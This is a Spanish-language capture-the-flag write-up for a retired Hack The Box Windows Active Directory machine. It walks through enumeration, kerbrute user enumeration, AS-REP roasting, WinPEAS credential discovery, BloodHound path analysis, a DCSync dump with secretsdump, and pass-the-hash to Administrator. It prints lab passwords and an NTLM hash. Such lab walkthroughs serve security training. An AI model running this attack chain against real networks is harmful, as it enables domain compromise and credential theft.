Fecha de lanzamiento | 15 Feb 2020 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Windows |
IP | 10.10.10.175 |
RECONOCIMIENTO
Para comenzar la fase de enumeración de la máquina víctima, vamos primero a probar mandarle una PING para ver si obtenemos respuesta y verificar que tenemos conectividad con ella:
ping -c 1 10.10.10.175
Vemos que recibimos la traza y por lo tanto podemos comenzar a enumerar con NMAP
los puertos que tiene la máquina abiertos. Guardaremos el output en un archivo que se llame nmap_scan.
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.175 -oN nmap_scan
- -p- : Indicamos que queremos escanear todo el conjunto de puertos (65535).
- --open : Filtrar solo por aquellos que estén abiertos.
- -sS : técnica de escaneo menos invasiva y rastreable donde no se llega a entablar una conexión completa.
- --min-rate : indicamos la cantidad mínima de paquetes que queremos enviar por segundo.
- -n : para que no nos aplique resolución DNS (no es necesario y en ocasiones demora tiempo).
- -Pn : para que no aplique Host Discovery.
- -oN : guardar el output en un archivo en formato nmap.
A continuación, para todos los puertos que nos ha detectado el comando anterior, vamos a correr unos scripts básicos de enumeración que tiene integrados la herramienta y vamos a detectar los servicios y correspondientes versiones que tiene cada puerto expuesto. Para ello, necesitamos filtrar del output anterior los números de los puertos y vamos a ponerlos de forma ordenada separados por comas. Lo guardaremos en una variable que se llame $ports.
ports=$(cat nmap_scan | grep -oP "^\d.*" | awk '{print $1}' FS='/' | xargs | tr ' ' ',')
Teniendo ya esta variable definida, vamos a correr el comando de nmap:
nmap -sCV -p$ports 10.10.10.175 -oN nmap_services
Antes de analizar todo, vemos que tenemos un nombre de dominio dentro de la información que nos devuelve el servicio de ldap expuesto de la máquina victima. Vamos a introducirlo en nuestro archivo local /etc/hosts:
Ya que hemos empezado hablando de LDAP, vamos a empezar a realizar una enumeración y reconocimiento de este servicio, a ver si tenemos acceso y nos devuelve información de valor.
¿Qué es LDAP? : Link
Para ello vamos a usar la herramienta ldapsearch
:
ldapsearch -H ldap://10.10.10.175 -x -b "DC=EGOTISTICAL-BANK,DC=LOCAL"
Nos devuelve un output muy extenso, pero si lo examinamos podemos observar que podemos recabar información acerca de un usuario. Vamos a crear un archivo de texto para almacenar esta información.
echo "Hugo Smith" > usuarios.txt
Viendo que tiene un servidor web expuesto con una página web, vamos a proceder a examinarlo en el navegador. Se trata de un IIS 10.0 según el reporte de NMAP, una versión actualizada y mantenida.
Si entramos en la página web y navegamos por ella, vemos lo que parece ser una página web de un banco, cuyas funcionalidades están bastante limitadas.
En el tab de «About Us«, vemos que aparecen datos del equipo, con fotos y nombres asociados. Vamos a agregar estos nombres al archivo de usuarios potenciales creado anteriormente.
Como ya parece que tenemos un listado potencial de usuarios, vamos a jugar con una herramienta de GitHub que nos va a ayudar a modificar esta lista de usuarios con variaciones de forma automática. La mayoría de veces en las empresas, el nombre de usuario de los trabajadores esta conformado por una variación especifica del nombre y apellido. Por ejemplo, en el caso de Hugo Smith el nombre de usuario podría ser H.Smith, hsmith, hugos, h.smith, hugo.s…
Sabiendo esto vamos a usar la herramienta de GitHub «Username-Anarchy«. Para ello nos la clonaremos y nos meteremos en el directorio clonado para correr la herramienta:
git clone https://github.com/urbanadventurer/username-anarchy cd username-anarchy ./username-anarchy --input-file ../usuarios.txt --select-format first,flast,first.last,firstl > ../usuariospotenciales.txt
Si abrimos el archivo que nos ha creado, tenemos ya una lista definitiva de variaciones de los nombres dados.
EXPLOTACIÓN
Si volvemos a la captura anterior de servicios y versiones, observamos que la máquina tiene el puerto 88 abierto. Se trata del servicio Kerberos:
Esto nos da indicios de que nos estamos enfrentando a un entorno de Active Directory. Existe una herramienta que sirve para hacer fuerza bruta a entornos de Active Directory mediante el protocolo de autenticación Kerberos. Se llama kerbrute
y podéis descargarla desde aquí.
En este caso vamos a utilizarla para enumerar usuarios válidos del dominio pasando como input el listado de usuarios que hemos creado anteriormente.
kerbrute userenum --dc '10.10.10.175' -d 'egotistical-bank.local' usuariospotenciales.txt
Vemos que tenemos dos usuarios válidos en el dominio. Tenemos el usuario, pero no tenemos contraseña de acceso ni nada con lo que podamos avanzar.
Sabiendo que son usuarios existentes en el dominio, vamos a crearnos un archivo que recoja ambos nombres y vamos a probar un ataque llamado ASREPRoast.
Para ello existe una herramienta de Impacket que usaremos para ver si algún usuario de los dos que tenemos válidos en el dominio no requiere de pre-autenticación de Kerberos:
impacket-GetNPUsers -dc-ip 10.10.10.175 -no-pass -usersfile usuariosdominio.txt EGOTISTICAL-BANK.LOCAL/
Vemos que para el usuario «fsmith» nos devuelve un hash. Vamos a guardar este hash en un archivo y trataremos de crackearlo de forma offline con la herramienta JOHN
.
Ya tenemos un usuario y una contraseña. Nos vamos a crear un archivo que se llame credentials.txt para ir almacenando las credenciales que vayamos obteniendo.
echo 'fsmith:Thestrokes23' > credentials.txt
Estas credenciales que tenemos, vamos a validarlas con la herramienta crackmapexec
. Recordemos que estaba abierto el puerto 445 (smb) y también el puerto 5985 (winrm), asi que validaremos para ambos.
Vemos que para el servicio winrm nos aparece (Pwn3d!). Esto quiere decir que el usuario está dentro del grupo de Windows «Remote Management Users» y podemos usar la herramienta Evil-WinRM
para obtener una consola como el usuario.
Ya tenemos una terminal como el usuario «fsmith«. Podemos ir al escritorio del usuario y recolectar la flag del usuario para subirla a la plataforma de HTB.
ESCALADA DE PRIVILEGIOS
Una vez ya tenemos acceso a un usuario del dominio, vamos a recolectar un poco de información acerca del sistema y las posibles vías que tengamos para poder escalar privilegios o pivotar entre usuarios.
Vamos a utilizar un programa llamado WinPeas para realizar una recolección masiva de datos del sistema y para ver alguna vía potencial por la que podamos seguir avanzando.
Para ello descargamos el ejecutable y lo movemos a la carpeta donde estamos realizando todas nuestras actividades. La herramienta Evil-WinRM ofrece unas capacidades muy sencillas para subida y bajadas de archivos desde nuestra máquina local y la máquina victima, así que vamos a crearnos un directorio en la carpeta C:\Windows\Temp donde subiremos el archivo descargado y lo ejecutaremos.
Tardará un poquito (por lo menos a mí) pero cuando esté listo lo ejecutaremos y el output nos lo pasaremos a nuestra máquina local para examinarlo posteriormente.
Este proceso también tarda un poquito, así que os da tiempo a echaros un cafe y volver en unos 5 minutos.
Si buscamos por el archivo que nos hemos descargado, vemos que a mitad de él encontramos credenciales de «Autologon«. Tenemos un usuario y una posible contraseña.
Vamos a apuntarnos estas credenciales en el archivo «credentials.txt» y vamos a verificarlas como hicimos anteriormente.
Vemos que ambas son incorrectas. Esto se debe a que, si hacemos una enumeración de usuarios desde la terminal que tenemos con el usuario «fsmith«, podemos observar que realmente el nombre del usuario es «svc_loanmgr».
Vemos que estás credenciales si que son correctas y que también nos aparece con la herramienta crackmapexec
que el usuario esta «Pwn3d!» para el servicio WinRM.
Si volvemos a usar la herramienta Evil-WinRM
, tenemos una terminal como el usuario «svc_loanmgr«
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
A partir de aquí, vamos a usar un herramienta gráfica existente para explotación de entornos de Active Directory llamada Bloodhound
.
El uso de esta herramienta es algo más complejo que el lanzamiento de un comando con parámetros por la terminal. Vamos a necesitar:
Bloodhound -> es una versión deprecada pero la versión nueva no funciona con el collector de python. Descargarse el release más actualizado.
Bloodhound-Python -> es un Ingestor o Collector para Bloodhound. Recopila información para luego importarla en Bloodhound. Clonarse el repositorio ( o instalar mediante pip).
Neo4j -> Se trata de la base de datos que corre detrás de Bloodhound. Hay que instalarla y configurar el servicio la primera vez que lo iniciamos.
apt install neo4j
Para configurar el servicio la primera vez, vamos a escribir en la terminal neo4j console
. Se nos va a crear en nuestro localhost una web por el puerto. Accedemos desde el navegador y vamos a cambiarle la contraseña por una de nuestra elección al usuario neo4j.
Una vez salimos de el navegador, vamos a terminar el proceso del neo4j y vamos a correr el comando neo4j start
para iniciar el proceso de nuevo.
Ya con la base de datos corriendo y todo funcionando correctamente, nos vamos a abrir en una ventana adicional y en segundo plano el Bloodhound y vamos a iniciar sesión con las credenciales previamente configuradas para la base de datos Neo4j.
bloodhound &>/dev/null & disown
A partir de aquí es cuando entra en juego BloodHound-Python
.
bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c all --zip
Vamos a correr el comando indicando las credenciales últimas que tenemos, seleccionamos el dominio e indicamos la IP. El valor del parámetro -c
hace referencia al método de recolección (all) y el parámetro --zip
se indica para que nos guarde todo el output en un archivo .zip que es el que importaremos en BloodHound.
Nos vamos a la herramienta de BloodHound, y en los desplegables de la derecha seleccionamos «Upload Data» y vamos a subir el archivo .zip.
Una vez finalizada la subida, vamos al menu de la izquierda y pinchamos en «Refresh Database Stats«. Verificamos que las relaciones y ACLs no están a 0.
Una vez la importación es exitosa, vamos a buscar en la barra de búsqueda los usuarios los cuales tenemos «Pwn3ados!», y los vamos a marcar. Nos saldrá una calavera pequeñita a cada lado de ellos.
Nos dirigimos a la pestaña de análisis y hay tenemos numerosa información acerca del Active Directory. En este caso vamos a hacer click en el último campo, para ver las rutas más cortas para convertirnos en Domain Controller.
Como podemos ver, hay una flecha desde el usuario controlado «svc_loanmgr» hacia el dominio que pone DCSync. Si pinchamos en más información nos sale lo siguiente:
Por la información de este ataque, al tener este privilegio vamos a poder realizar un DCSync Attack y obtener contraseñas y datos sensibles del controlador del dominio. Pero no vamos a usar la herramienta Mimikatz sino que usaremos una herramienta de Impacket llamada secretsdump
.
impacket-secretsdump 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
Vemos que hemos sido capaces de obtener el Hash NTLM del usuario administrador. Gracias a ello, si es válido, vamos a poder realizar un ataque de «Pass The Hash» para obtener una terminal con máximos privilegios.
Mismamente con la herramienta Evil-WinRM vamos a autenticarnos con el Hash y vamos a poder obtener una terminal como Administrador, desde la cual vamos a poder obtener la última flag de HTB.
evil-winrm -i 10.10.10.175 -u 'Administrator' -H '823452073d75b9d1cf70ebdf86c7f98e'